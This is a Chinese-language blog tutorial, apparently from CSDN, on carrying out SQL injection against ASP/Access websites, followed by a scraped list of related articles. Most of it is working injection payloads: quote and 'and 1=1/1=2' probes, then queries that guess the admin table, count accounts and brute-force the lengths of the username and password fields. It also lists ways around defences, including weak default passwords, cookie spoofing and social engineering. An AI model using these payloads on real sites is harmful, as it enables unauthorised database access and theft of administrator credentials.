简单的SQL注入攻击
一、寻找目标
如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。
最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY
其中“YY”可能是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。在本章中我们主要针对整数型数据进行SQL注入讲解。
通常可以使用以下几种方法进行检测,判断该页面链接是否存在SQL注入漏洞。
二、常见注入方法
1.“加引号”法
在浏览器地址栏中的页面链接地址后面增加一个单引号,如下所示:
http://www.xxx.com/xxx.asp?id=YY’
然后访问该链接地址,浏览器可能会返回类似于下面的错误提示信息:
Microsoft JET Database Engine 错误’80040e14’
字符串的语法错误在查询表达式’ID=YY’中。
/xxx.asp 行8
如图1.3所示,页面中如果返回了类似的错误信息,说明该网站可能存在SQL注入攻击的漏洞。
寻找SQL注入点
2.“1=1和1=2”法
“加引号”法很直接,也很简单,但是对SQL注入有一定了解的程序员在编写程序时,都会将单引号过滤掉。如果再使用单引号测试,就无法检测到注入点了。这时,就可以使用经典的“1=1和1=2”法进行检测。
如果正常页面链接地址为:http://www.xxx.com/xxx.asp?id=YY,在浏览器中分别输入以下两个链接地址,分别查看它们返回的结果值。
http://www.xxx.com/xxx.asp?id=YY and 1=1。
http://www.xxx.com/xxx.asp?id=YY and 1=2。
如果存在注入点的话,浏览器将会分别显示为:
正常显示,内容与正常页面显示的结果基本相同。
提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next),如图1.4所示。
如果没有注入点的存在,也很容易判断。
上述两种链接一般都会有程序定义的错误提示,或提示类型转换时出错。
3.判断有无注入点
; and 1=1 and 1=2
常见的sql注入语句
?ID=1‘
?ID=1 and 1=1
?ID=1 and 1=2
4.猜表一般的表的名称无非是admin adminuser user pass password 等
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
5.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
6.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
7.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
三、SQL注入攻与防
防范
1.屏蔽了错误回显
2.该网站使用了安全狗
3.使用了SQL防注入文件。等等
解决办法
1.列目录
2.数据库默认地址,爆数据库
3.后台默认密码,弱口令尝试
4.编辑器默认密码,弱口令尝试
5.cookie欺骗
6.旁注
7.找网站的其他漏洞
8.社工
方法很多,关键是思路、方法,灵活应用
补充资料
SQL注入之post注入 https://blog.csdn.net/weixin_39658966/article/details/110669023
SQL注入攻击 https://blog.csdn.net/weixin_39658966/article/details/110669023
简单的SQL注入攻击相关推荐
- 一个简单的SQL注入攻击
在上一篇博客中:http://blog.csdn.net/suwei19870312/article/details/7579667.讲了Client 端代码和Server端代码的交互. Client ...
- mysql注入攻击实_三十三、MySQL基础系列笔记之MySQL安全问题与SQL注入攻击
SQL注入攻击大多数与程序有关系,程序不严谨是导致SQL注入攻击成功的一个原因.安全问题不容忽视,平常的开发中应关注安全问题.下面简单记录PHP中的SQL攻击问题. 什么是SQL注入攻击 SQL注入( ...
- PHP的SQL注入攻击的技术实现以及预防措施
最近在折腾 PHP + MYSQL 的编程.了解了一些 PHP SQL 注入攻击的知识,总结一下经验.在我看来,引发 SQL 注入攻击的主要原因,是因为以下两点原因: 1. php 配置文件 php. ...
- SQL Server安全-加密术和SQL注入攻击
SQL Server上的加密术 SQL Server上内置了加密术用来保护各种类型的敏感数据.在很多时候,这个加密术对于你来说是完全透明的:当数据被存储时候被加密,它们被使用的时候就会自动加密.在其他 ...
- Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解
前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...
- sql参数化还是被注入了_面试官问你 SQL 注入攻击了吗?
目录 为什么要聊 SQL 注入攻击? 什么是 SQL 注入攻击? 如何进行 SQL 注入攻击? 如何防范? 常见面试题 瞎比比 为什么要聊 SQL 注入攻击? 我这人有个想法,就是不管自己跳不跳槽,每 ...
- 简单的SQL注入学习
引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...
- 初探PHP的SQL注入攻击的技术实现以及预防措施
SQL 攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指 令,在设计不良的程序当中忽略了检 ...
- Spring MVC防御CSRF、XSS和SQL注入攻击
本文说一下SpringMVC如何防御CSRF(Cross-site request forgery跨站请求伪造)和XSS(Cross site script跨站脚本攻击). 说说CSRF 对CSRF来 ...
最新文章
- 并发编程基础篇——第一章(并发相关基础概念理解)
- Microbiome:重新定义“卫生”的概念
- 「每天一道面试题」下面的代码有问题吗?为什么?
- 会考flash中文字变形为三角形_关于信息技术会考 Flash操作题实用模版
- 不借助第三方工具查看映像路径(系统进程路径).
- 数据库-多条件查询-优先级
- error Infos
- 鸿蒙1号六年级下册课时练答案,【奥数天天练】小学1~6年级思维能力特训|第310期...
- matlab mobilenet v2,MobileNetV2-SSDLite代码分析-6 VOC Dataset
- 10月Web服务器调查:Apache下降 Ngnix攀升
- 使用tmpfs存放MySQL的临时文件的问题一则
- android坐侧菜单栏,SlidingLayoutDemo android左侧菜单栏的实现 - 下载 - 搜珍网
- m7405d粉盒清零方法_打印机清零方法总览
- 性能优化的终极目标-内存简析
- 前端使用prettier格式化规范
- 北京市海淀区踢球场地指南
- 通过初始时间和流逝的分钟数计算终止时间
- SpringBoot、EasyPoi、Echarts 实现文档导入、出、图表显示 (饼状图、柱状图) 保姆级教程
- i3 10100f和i5 10400f 哪个好
- 实例变量和类变量、实例方法类方法区别
热门文章
- QOpenGLWidget运行时闪退
- Centos7 安装Chrome浏览器
- 【重识云原生】计算第2.6节——裸金属方案
- 《数据库系统应用程序开发》考试
- 【机器学习实战】k-近邻算法案例——改进约会网站的配对效果
- php tree view,VB.Net树视图(TreeView)
- java虚拟机系列:java虚拟机内存模型
- ORACLE 年龄计算到月份
- Fans没信心,回家继续修行
- mysql inet aton ipv6_Linux网络编程IPv4和IPv6的inet_addr、inet_aton、inet_pton等函数小结